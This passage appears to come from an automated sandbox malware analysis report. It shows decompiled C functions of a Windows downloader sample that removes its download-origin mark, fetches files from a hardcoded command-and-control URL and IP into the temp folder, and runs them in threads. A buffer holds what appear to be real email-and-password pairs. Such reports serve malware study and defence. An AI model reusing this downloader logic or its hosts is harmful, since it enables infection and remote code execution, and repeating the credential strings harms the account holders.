                                                                                                                                                                                                                                                                                                                                                      • Sleep.KERNELBASE(000003E8), ref: 010A262B
                                                                                                                                                                                                                                                                                                                                                      • _wmemset.LIBCPMTD ref: 010A263F
                                                                                                                                                                                                                                                                                                                                                      • _wmemset.LIBCPMTD ref: 010A2653
                                                                                                                                                                                                                                                                                                                                                      • rand.MSVCRT ref: 010A265B
                                                                                                                                                                                                                                                                                                                                                      • wsprintfW.USER32 ref: 010A267E
                                                                                                                                                                                                                                                                                                                                                      • rand.MSVCRT ref: 010A2687
                                                                                                                                                                                                                                                                                                                                                      • rand.MSVCRT ref: 010A269B
                                                                                                                                                                                                                                                                                                                                                      • rand.MSVCRT ref: 010A26AF
                                                                                                                                                                                                                                                                                                                                                      • wsprintfW.USER32 ref: 010A26D4
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 010A1950: InternetReadFile.WININET(00000000,ail.com:sophiaric549khirodnath935@gmail.com:Khirodnathsharma1234cardonarigoberto46@gmail.com:Cardo11chaaksaxenausa@gmail.com:Rahul7355singhmedinamamanimarxlenindelmao@gmail.com:Marco12350andrejilenko304@gmail.com:Andy_zzcristiani336@yahoo.com:Cristiani33,000003FF,010A2607), ref: 010A1A33
                                                                                                                                                                                                                                                                                                                                                      • PathFileExistsW.KERNELBASE(C:\Users\user\AppData\Local\Temp\6235107758290.jpg), ref: 010A26F8
                                                                                                                                                                                                                                                                                                                                                      • CreateThread.KERNELBASE(00000000,00000000,Function_00002360,00000000,00000000,00000000), ref: 010A2738
                                                                                                                                                                                                                                                                                                                                                      • rand.MSVCRT ref: 010A273E
                                                                                                                                                                                                                                                                                                                                                      • Sleep.KERNELBASE ref: 010A274F
                                                                                                                                                                                                                                                                                                                                                      • DeleteFileW.KERNEL32(C:\Users\user\AppData\Local\Temp\6235107758290.jpg), ref: 010A275C
                                                                                                                                                                                                                                                                                                                                                      • atoi.MSVCRT ref: 010A2776
                                                                                                                                                                                                                                                                                                                                                      • ExitProcess.KERNEL32 ref: 010A278F
                                                                                                                                                                                                                                                                                                                                                      • ExitThread.KERNEL32 ref: 010A279C
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000008.00000002.632818963.00000000010A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 010A0000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000008.00000002.632798147.00000000010A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000008.00000002.632848133.00000000010A3000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000008.00000002.632887362.00000000010A5000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000008.00000002.632907339.00000000010A6000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_8_2_10a0000_75601095.jbxd
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: Internet$File$_wmemset$CloseHandlerand$Openwsprintf$Read$CreateExitSleepThreadatoimemset$CountDeleteEnvironmentExistsExpandPathProcessStringsTickWritembstowcssrandstrcpy
                                                                                                                                                                                                                                                                                                                                                      • String ID: %s%d.txt$%s\%d%d%d.jpg$%sn.txt$%temp%$C:\Users\user\AppData\Local\Temp\6235107758290.jpg$[102.129.143.78]
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 3135460431-543311869
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 13fe2c6dd83cd4c7b3e0315fcf9b7bcc5f0d0ae11d558ae0aced11f303e7f9e8
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 381016538714641f72f1b9c3a113e4546a35fd0d555f22697c0cf1126b9528fa
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 13fe2c6dd83cd4c7b3e0315fcf9b7bcc5f0d0ae11d558ae0aced11f303e7f9e8
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 3C51D5B5E80304B7E710A7E0DC46FEE7639BB54B01F844078F389691C2EAB557848FA1
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 010A1490 Relevance: 47.4, APIs: 6, Strings: 21, Instructions: 156timeCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                                                                      control_flow_graph 110 10a1490-10a1522 111 10a1530-10a154c FileTimeToLocalFileTime FileTimeToSystemTime 110->111 112 10a1524-10a152e GetLocalTime 110->112 113 10a1552-10a1579 GetTimeZoneInformation 111->113 112->113 114 10a157b-10a1581 113->114 115 10a1584-10a158c 113->115 114->115 116 10a1599-10a159e 115->116 117 10a158e-10a1597 115->117 118 10a15a4-10a15b4 116->118 117->118 119 10a15bf-10a15c5 118->119 120 10a15b6-10a15bb 118->120 121 10a15d0-10a15d7 119->121 122 10a15c7-10a15cc 119->122 120->119 123 10a15d9-10a15de 121->123 124 10a15e2-10a15e6 121->124 122->121 123->124 125 10a15e8-10a15ec 124->125 126 10a1659-10a165d 124->126 127 10a15fa 125->127 128 10a15ee-10a15f8 125->128 129 10a166b 126->129 130 10a165f-10a1669 126->130 132 10a1604-10a1657 wsprintfA 127->132 128->132 131 10a1675-10a16ce wsprintfA 129->131 130->131 133 10a16d1-10a16d4 131->133 132->133
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 90%
                                                                                                                                                                                                                                                                                                                                                      			E010A1490(FILETIME* _a4, CHAR* _a8, intOrPtr _a12) {
				long _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				intOrPtr _v84;
				signed int _v88;
				signed int _v92;
				struct _SYSTEMTIME _v108;
				struct _TIME_ZONE_INFORMATION _v284;
				struct _FILETIME _v292;
				signed int _v296;
				intOrPtr _v300;
				CHAR* _v304;
				long _t105;
				signed int _t145;
				void* _t164;
				signed int _t170;

				_v84 = 0x10a315c;
				_v80 = 0x10a3160;
				_v76 = 0x10a3164;
				_v72 = 0x10a3168;
				_v68 = 0x10a316c;
				_v64 = 0x10a3170;
				_v60 = 0x10a3174;
				_v56 = 0x10a3178;
				_v52 = 0x10a317c;
				_v48 = 0x10a3180;
				_v44 = 0x10a3184;
				_v40 = 0x10a3188;
				_v36 = 0x10a318c;
				_v32 = 0x10a3190;
				_v28 = 0x10a3194;
				_v24 = 0x10a3198;
				_v20 = 0x10a319c;
				_v16 = 0x10a31a0;
				_v12 = 0x10a31a4;
				if(_a4 != 0) {
					FileTimeToLocalFileTime(_a4,  &_v292);
					FileTimeToSystemTime( &_v292,  &_v108);
				} else {
					GetLocalTime( &_v108);
				}
				_v284.Bias = 0;
				_t105 = GetTimeZoneInformation( &_v284); // executed
				_v8 = _t105;
				_v92 = _v284.Bias;
				if(_v8 == 2) {
					_t145 = _v92 + _v284.DaylightBias;
					_t170 = _t145;
					_v92 = _t145;
				}
				_v92 =  ~_v92;
				if(_t170 < 0) {
					_v296 =  ~_v92;
				} else {
					_v296 = _v92;
				}
				_v88 = _v296;
				if((_v108.wDayOfWeek & 0x0000ffff) > 6) {
					_v108.wDayOfWeek = 6;
				}
				if((_v108.wMonth & 0x0000ffff) == 0) {
					_v108.wMonth = 1;
				}
				if((_v108.wMonth & 0x0000ffff) > 0xc) {
					_v108.wMonth = 0xc;
				}
				if(_a12 == 0) {
					if(_v92 < 0) {
						_v304 = "-";
					} else {
						_v304 = "+";
					}
					asm("cdq");
					asm("cdq");
					return wsprintfA(_a8, "%s, %u %s %u %.2u:%.2u:%.2u %s%.2u%.2u",  *((intOrPtr*)(_t164 + (_v108.wDayOfWeek & 0x0000ffff) * 4 - 0x50)), _v108.wDay & 0x0000ffff,  *((intOrPtr*)(_t164 + (_v108.wMonth & 0x0000ffff) * 4 - 0x38)), _v108.wYear & 0x0000ffff, _v108.wHour & 0x0000ffff, _v108.wMinute & 0x0000ffff, _v108.wSecond & 0x0000ffff, _v304, _v88 / 0x3c, _v88 % 0x3c);
				} else {
					if(_v92 < 0) {
						_v300 = 0x10a31ac;
					} else {
						_v300 = 0x10a31a8;
					}
					asm("cdq");
					asm("cdq");
					return wsprintfA(_a8, "%u %s %u %.2u:%.2u:%.2u %s%.2u%.2u", _v108.wDay & 0x0000ffff,  *((intOrPtr*)(_t164 + (_v108.wMonth & 0x0000ffff) * 4 - 0x38)), _v108.wYear & 0x0000ffff, _v108.wHour & 0x0000ffff, _v108.wMinute & 0x0000ffff, _v108.wSecond & 0x0000ffff, _v300, _v88 / 0x3c, _v88 % 0x3c);
				}
			}



































                                                                                                                                                                                                                                                                                                                                                      0x010a1499
                                                                                                                                                                                                                                                                                                                                                      0x010a14a0
                                                                                                                                                                                                                                                                                                                                                      0x010a14a7
                                                                                                                                                                                                                                                                                                                                                      0x010a14ae
                                                                                                                                                                                                                                                                                                                                                      0x010a14b5
                                                                                                                                                                                                                                                                                                                                                      0x010a14bc
                                                                                                                                                                                                                                                                                                                                                      0x010a14c3
                                                                                                                                                                                                                                                                                                                                                      0x010a14ca
                                                                                                                                                                                                                                                                                                                                                      0x010a14d1
                                                                                                                                                                                                                                                                                                                                                      0x010a14d8
                                                                                                                                                                                                                                                                                                                                                      0x010a14df
                                                                                                                                                                                                                                                                                                                                                      0x010a14e6
                                                                                                                                                                                                                                                                                                                                                      0x010a14ed
                                                                                                                                                                                                                                                                                                                                                      0x010a14f4
                                                                                                                                                                                                                                                                                                                                                      0x010a14fb
                                                                                                                                                                                                                                                                                                                                                      0x010a1502
                                                                                                                                                                                                                                                                                                                                                      0x010a1509
                                                                                                                                                                                                                                                                                                                                                      0x010a1510
                                                                                                                                                                                                                                                                                                                                                      0x010a1517
                                                                                                                                                                                                                                                                                                                                                      0x010a1522
                                                                                                                                                                                                                                                                                                                                                      0x010a153b
                                                                                                                                                                                                                                                                                                                                                      0x010a154c
                                                                                                                                                                                                                                                                                                                                                      0x010a1524
                                                                                                                                                                                                                                                                                                                                                      0x010a1528
                                                                                                                                                                                                                                                                                                                                                      0x010a1528
                                                                                                                                                                                                                                                                                                                                                      0x010a1552
                                                                                                                                                                                                                                                                                                                                                      0x010a1563
                                                                                                                                                                                                                                                                                                                                                      0x010a1569
                                                                                                                                                                                                                                                                                                                                                      0x010a1572
                                                                                                                                                                                                                                                                                                                                                      0x010a1579
                                                                                                                                                                                                                                                                                                                                                      0x010a157e
                                                                                                                                                                                                                                                                                                                                                      0x010a157e
                                                                                                                                                                                                                                                                                                                                                      0x010a1581
                                                                                                                                                                                                                                                                                                                                                      0x010a1581
                                                                                                                                                                                                                                                                                                                                                      0x010a1589
                                                                                                                                                                                                                                                                                                                                                      0x010a158c
                                                                                                                                                                                                                                                                                                                                                      0x010a159e
                                                                                                                                                                                                                                                                                                                                                      0x010a158e
                                                                                                                                                                                                                                                                                                                                                      0x010a1591
                                                                                                                                                                                                                                                                                                                                                      0x010a1591
                                                                                                                                                                                                                                                                                                                                                      0x010a15aa
                                                                                                                                                                                                                                                                                                                                                      0x010a15b4
                                                                                                                                                                                                                                                                                                                                                      0x010a15bb
                                                                                                                                                                                                                                                                                                                                                      0x010a15bb
                                                                                                                                                                                                                                                                                                                                                      0x010a15c5
                                                                                                                                                                                                                                                                                                                                                      0x010a15cc
                                                                                                                                                                                                                                                                                                                                                      0x010a15cc
                                                                                                                                                                                                                                                                                                                                                      0x010a15d7
                                                                                                                                                                                                                                                                                                                                                      0x010a15de
                                                                                                                                                                                                                                                                                                                                                      0x010a15de
                                                                                                                                                                                                                                                                                                                                                      0x010a15e6
                                                                                                                                                                                                                                                                                                                                                      0x010a165d
                                                                                                                                                                                                                                                                                                                                                      0x010a166b
                                                                                                                                                                                                                                                                                                                                                      0x010a165f
                                                                                                                                                                                                                                                                                                                                                      0x010a165f
                                                                                                                                                                                                                                                                                                                                                      0x010a165f
                                                                                                                                                                                                                                                                                                                                                      0x010a1678
                                                                                                                                                                                                                                                                                                                                                      0x010a1684
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x010a15e8
                                                                                                                                                                                                                                                                                                                                                      0x010a15ec
                                                                                                                                                                                                                                                                                                                                                      0x010a15fa
                                                                                                                                                                                                                                                                                                                                                      0x010a15ee
                                                                                                                                                                                                                                                                                                                                                      0x010a15ee
                                                                                                                                                                                                                                                                                                                                                      0x010a15ee
                                                                                                                                                                                                                                                                                                                                                      0x010a1607
                                                                                                                                                                                                                                                                                                                                                      0x010a1613
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x010a1654

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • GetLocalTime.KERNEL32(?), ref: 010A1528
                                                                                                                                                                                                                                                                                                                                                      • FileTimeToLocalFileTime.KERNEL32(00000000,?), ref: 010A153B
                                                                                                                                                                                                                                                                                                                                                      • FileTimeToSystemTime.KERNEL32(?,?), ref: 010A154C
                                                                                                                                                                                                                                                                                                                                                      • GetTimeZoneInformation.KERNELBASE(00000000), ref: 010A1563
                                                                                                                                                                                                                                                                                                                                                      • wsprintfA.USER32 ref: 010A164E
                                                                                                                                                                                                                                                                                                                                                      • wsprintfA.USER32 ref: 010A16C8
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000008.00000002.632818963.00000000010A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 010A0000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000008.00000002.632798147.00000000010A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000008.00000002.632848133.00000000010A3000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000008.00000002.632887362.00000000010A5000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000008.00000002.632907339.00000000010A6000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_8_2_10a0000_75601095.jbxd
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: Time$File$Localwsprintf$InformationSystemZone
                                                                                                                                                                                                                                                                                                                                                      • String ID: %s, %u %s %u %.2u:%.2u:%.2u %s%.2u%.2u$%u %s %u %.2u:%.2u:%.2u %s%.2u%.2u$Apr$Aug$Dec$Feb$Fri$Jan$Jul$Jun$Mar$May$Mon$Nov$Oct$Sat$Sep$Sun$Thu$Tue$Wed
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 1439763326-1766317088
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: e72725222ee7404972b6f0e2bfa928943e398dfc1bd42caaab7ba6ab33ef9446
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 564d890572805b5051c0a561c4392932ec36d52a963d4d9f0de7ee06bd48fc51
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: e72725222ee7404972b6f0e2bfa928943e398dfc1bd42caaab7ba6ab33ef9446
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: CA61E7B0D00218DBCB18CFD5C849AEEBBF5FF49705F508149E586AF254E7389A85CB64
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 010A27F0 Relevance: 28.1, APIs: 13, Strings: 3, Instructions: 70sleepfilesynchronizationCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 50%
                                                                                                                                                                                                                                                                                                                                                      			E010A27F0() {
				short _v524;
				struct _SECURITY_ATTRIBUTES* _v528;
				void _v796;
				short _v1316;
				char _v1716;
				void* _v1720;
				void* _t10;
				signed char _t17;

				Sleep(0x7d0); // executed
				_t10 = CreateMutexA(0, 0, "5235352"); // executed
				_v1720 = _t10;
				if(GetLastError() == 0xb7) {
					ExitProcess(0);
				}
				_v528 = 0;
				GetModuleFileNameW(0,  &_v524, 0x104);
				wsprintfW( &_v1316, L"%s:Zone.Identifier",  &_v524);
				DeleteFileW( &_v1316); // executed
				__imp__#115(0x202,  &_v1716); // executed
				_t17 = E010A1760(); // executed
				if((_t17 & 0x000000ff) == 0) {
					ExitProcess(0);
				}
				Sleep(0x64); // executed
				wsprintfA( &_v796, "%s", E010A1000("http://185.215.113.66/cawkz/"));
				CreateThread(0, 0, E010A2500,  &_v796, 0, 0); // executed
				while(1 != 0) {
					Sleep(0x36ee80); // executed
				}
				return 0;
			}











                                                                                                                                                                                                                                                                                                                                                      0x010a27fe
                                                                                                                                                                                                                                                                                                                                                      0x010a280d
                                                                                                                                                                                                                                                                                                                                                      0x010a2813
                                                                                                                                                                                                                                                                                                                                                      0x010a2824
                                                                                                                                                                                                                                                                                                                                                      0x010a2828
                                                                                                                                                                                                                                                                                                                                                      0x010a2828
                                                                                                                                                                                                                                                                                                                                                      0x010a282e
                                                                                                                                                                                                                                                                                                                                                      0x010a2846
                                                                                                                                                                                                                                                                                                                                                      0x010a285f
                                                                                                                                                                                                                                                                                                                                                      0x010a286f
                                                                                                                                                                                                                                                                                                                                                      0x010a2881
                                                                                                                                                                                                                                                                                                                                                      0x010a2887
                                                                                                                                                                                                                                                                                                                                                      0x010a2891
                                                                                                                                                                                                                                                                                                                                                      0x010a2895
                                                                                                                                                                                                                                                                                                                                                      0x010a2895
                                                                                                                                                                                                                                                                                                                                                      0x010a289d
                                                                                                                                                                                                                                                                                                                                                      0x010a28bd
                                                                                                                                                                                                                                                                                                                                                      0x010a28da
                                                                                                                                                                                                                                                                                                                                                      0x010a28e0
                                                                                                                                                                                                                                                                                                                                                      0x010a28ee
                                                                                                                                                                                                                                                                                                                                                      0x010a28ee
                                                                                                                                                                                                                                                                                                                                                      0x010a28fb

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • Sleep.KERNELBASE(000007D0), ref: 010A27FE
                                                                                                                                                                                                                                                                                                                                                      • CreateMutexA.KERNELBASE(00000000,00000000,5235352), ref: 010A280D
                                                                                                                                                                                                                                                                                                                                                      • GetLastError.KERNEL32 ref: 010A2819
                                                                                                                                                                                                                                                                                                                                                      • ExitProcess.KERNEL32 ref: 010A2828
                                                                                                                                                                                                                                                                                                                                                      • GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 010A2846
                                                                                                                                                                                                                                                                                                                                                      • wsprintfW.USER32 ref: 010A285F
                                                                                                                                                                                                                                                                                                                                                      • DeleteFileW.KERNELBASE(?), ref: 010A286F
                                                                                                                                                                                                                                                                                                                                                      • WSAStartup.WS2_32(00000202,?), ref: 010A2881
                                                                                                                                                                                                                                                                                                                                                      • ExitProcess.KERNEL32 ref: 010A2895
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000008.00000002.632818963.00000000010A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 010A0000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000008.00000002.632798147.00000000010A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000008.00000002.632848133.00000000010A3000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000008.00000002.632887362.00000000010A5000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000008.00000002.632907339.00000000010A6000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_8_2_10a0000_75601095.jbxd
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: ExitFileProcess$CreateDeleteErrorLastModuleMutexNameSleepStartupwsprintf
                                                                                                                                                                                                                                                                                                                                                      • String ID: %s:Zone.Identifier$5235352$http://185.215.113.66/cawkz/
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 3138769648-2984153402
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 32b721310e43b56e47f89e9a9cd153678f850512ceb23b69316d7ab6c9471689
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: fd3e787db842e80e0e070678329661e5ef2b879dac0c1280a2de0ae1fcb8f693
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 32b721310e43b56e47f89e9a9cd153678f850512ceb23b69316d7ab6c9471689
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 78215374AC0704ABE7609BE0DC1EFEA7675BB04B01F804454F78AA90C5EBBA55448F51
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 010A1950 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 86networkfileCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                                                                      control_flow_graph 159 10a1950-10a1984 memset InternetOpenW 160 10a198a-10a19a7 InternetOpenUrlW 159->160 161 10a1a43-10a1a55 InternetCloseHandle 159->161 162 10a1a39-10a1a3d InternetCloseHandle 160->162 163 10a19ad-10a19b4 160->163 162->161 164 10a1a21-10a1a33 InternetReadFile 163->164 165 10a19b6-10a19d6 CreateFileW 163->165 164->162 166 10a19d8-10a19f2 InternetReadFile 165->166 167 10a1a1f 165->167 168 10a19f4-10a19f8 166->168 169 10a1a15-10a1a19 CloseHandle 166->169 167->162 168->169 170 10a19fa-10a1a13 WriteFile 168->170 169->167 170->166
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 100%
                                                                                                                                                                                                                                                                                                                                                      			E010A1950(signed char _a4, WCHAR* _a8, WCHAR* _a12) {
				void* _v8;
				void* _v12;
				long _v16;
				long _v20;
				void* _v24;
				void* _t32;
				int _t33;

				memset("ail.com:sophiaric549khirodnath935@gmail.com:Khirodnathsharma1234cardonarigoberto46@gmail.com:Cardo11chaaksaxenausa@gmail.com:Rahul7355singhmedinamamanimarxlenindelmao@gmail.com:Marco12350andrejilenko304@gmail.com:Andy_zzcristiani336@yahoo.com:Cristiani33", 0, 0x400);
				_v24 = InternetOpenW(L"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36", 1, 0, 0, 0);
				if(_v24 != 0) {
					_v8 = InternetOpenUrlW(_v24, _a8, 0, 0, 0, 0);
					if(_v8 != 0) {
						if((_a4 & 0x000000ff) != 1) {
							InternetReadFile(_v8, "ail.com:sophiaric549khirodnath935@gmail.com:Khirodnathsharma1234cardonarigoberto46@gmail.com:Cardo11chaaksaxenausa@gmail.com:Rahul7355singhmedinamamanimarxlenindelmao@gmail.com:Marco12350andrejilenko304@gmail.com:Andy_zzcristiani336@yahoo.com:Cristiani33", 0x3ff,  &_v20); // executed
						} else {
							_t32 = CreateFileW(_a12, 0x40000000, 0, 0, 2, 0, 0); // executed
							_v12 = _t32;
							if(_v12 != 0xffffffff) {
								while(1) {
									_t33 = InternetReadFile(_v8, "ail.com:sophiaric549khirodnath935@gmail.com:Khirodnathsharma1234cardonarigoberto46@gmail.com:Cardo11chaaksaxenausa@gmail.com:Rahul7355singhmedinamamanimarxlenindelmao@gmail.com:Marco12350andrejilenko304@gmail.com:Andy_zzcristiani336@yahoo.com:Cristiani33", 0x3ff,  &_v20); // executed
									if(_t33 == 0 || _v20 == 0) {
										break;
									}
									WriteFile(_v12, "ail.com:sophiaric549khirodnath935@gmail.com:Khirodnathsharma1234cardonarigoberto46@gmail.com:Cardo11chaaksaxenausa@gmail.com:Rahul7355singhmedinamamanimarxlenindelmao@gmail.com:Marco12350andrejilenko304@gmail.com:Andy_zzcristiani336@yahoo.com:Cristiani33", _v20,  &_v16, 0); // executed
								}
								CloseHandle(_v12);
							}
						}
					}
					InternetCloseHandle(_v8); // executed
				}
				InternetCloseHandle(_v24);
				return 0x10a5120;
			}










                                                                                                                                                                                                                                                                                                                                                      0x010a1962
                                                                                                                                                                                                                                                                                                                                                      0x010a197d
                                                                                                                                                                                                                                                                                                                                                      0x010a1984
                                                                                                                                                                                                                                                                                                                                                      0x010a19a0
                                                                                                                                                                                                                                                                                                                                                      0x010a19a7
                                                                                                                                                                                                                                                                                                                                                      0x010a19b4
                                                                                                                                                                                                                                                                                                                                                      0x010a1a33
                                                                                                                                                                                                                                                                                                                                                      0x010a19b6
                                                                                                                                                                                                                                                                                                                                                      0x010a19c9
                                                                                                                                                                                                                                                                                                                                                      0x010a19cf
                                                                                                                                                                                                                                                                                                                                                      0x010a19d6
                                                                                                                                                                                                                                                                                                                                                      0x010a19d8
                                                                                                                                                                                                                                                                                                                                                      0x010a19ea
                                                                                                                                                                                                                                                                                                                                                      0x010a19f2
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x010a1a0d
                                                                                                                                                                                                                                                                                                                                                      0x010a1a0d
                                                                                                                                                                                                                                                                                                                                                      0x010a1a19
                                                                                                                                                                                                                                                                                                                                                      0x010a1a19
                                                                                                                                                                                                                                                                                                                                                      0x010a1a1f
                                                                                                                                                                                                                                                                                                                                                      0x010a19b4
                                                                                                                                                                                                                                                                                                                                                      0x010a1a3d
                                                                                                                                                                                                                                                                                                                                                      0x010a1a3d
                                                                                                                                                                                                                                                                                                                                                      0x010a1a47
                                                                                                                                                                                                                                                                                                                                                      0x010a1a55

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • memset.MSVCRT ref: 010A1962
                                                                                                                                                                                                                                                                                                                                                      • InternetOpenW.WININET(Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36,00000001,00000000,00000000,00000000), ref: 010A1977
                                                                                                                                                                                                                                                                                                                                                      • InternetOpenUrlW.WININET(00000000,00000000,00000000,00000000,00000000,00000000), ref: 010A199A
                                                                                                                                                                                                                                                                                                                                                      • CreateFileW.KERNELBASE(010A2607,40000000,00000000,00000000,00000002,00000000,00000000), ref: 010A19C9
                                                                                                                                                                                                                                                                                                                                                      • InternetReadFile.WININET(00000000,ail.com:sophiaric549khirodnath935@gmail.com:Khirodnathsharma1234cardonarigoberto46@gmail.com:Cardo11chaaksaxenausa@gmail.com:Rahul7355singhmedinamamanimarxlenindelmao@gmail.com:Marco12350andrejilenko304@gmail.com:Andy_zzcristiani336@yahoo.com:Cristiani33,000003FF,010A2607), ref: 010A19EA
                                                                                                                                                                                                                                                                                                                                                      • WriteFile.KERNELBASE(000000FF,ail.com:sophiaric549khirodnath935@gmail.com:Khirodnathsharma1234cardonarigoberto46@gmail.com:Cardo11chaaksaxenausa@gmail.com:Rahul7355singhmedinamamanimarxlenindelmao@gmail.com:Marco12350andrejilenko304@gmail.com:Andy_zzcristiani336@yahoo.com:Cristiani33,00000000,00000000,00000000), ref: 010A1A0D
                                                                                                                                                                                                                                                                                                                                                      • CloseHandle.KERNEL32(000000FF), ref: 010A1A19
                                                                                                                                                                                                                                                                                                                                                      • InternetReadFile.WININET(00000000,ail.com:sophiaric549khirodnath935@gmail.com:Khirodnathsharma1234cardonarigoberto46@gmail.com:Cardo11chaaksaxenausa@gmail.com:Rahul7355singhmedinamamanimarxlenindelmao@gmail.com:Marco12350andrejilenko304@gmail.com:Andy_zzcristiani336@yahoo.com:Cristiani33,000003FF,010A2607), ref: 010A1A33
                                                                                                                                                                                                                                                                                                                                                      • InternetCloseHandle.WININET(00000000), ref: 010A1A3D
                                                                                                                                                                                                                                                                                                                                                      • InternetCloseHandle.WININET(00000000), ref: 010A1A47
                                                                                                                                                                                                                                                                                                                                                      Strings
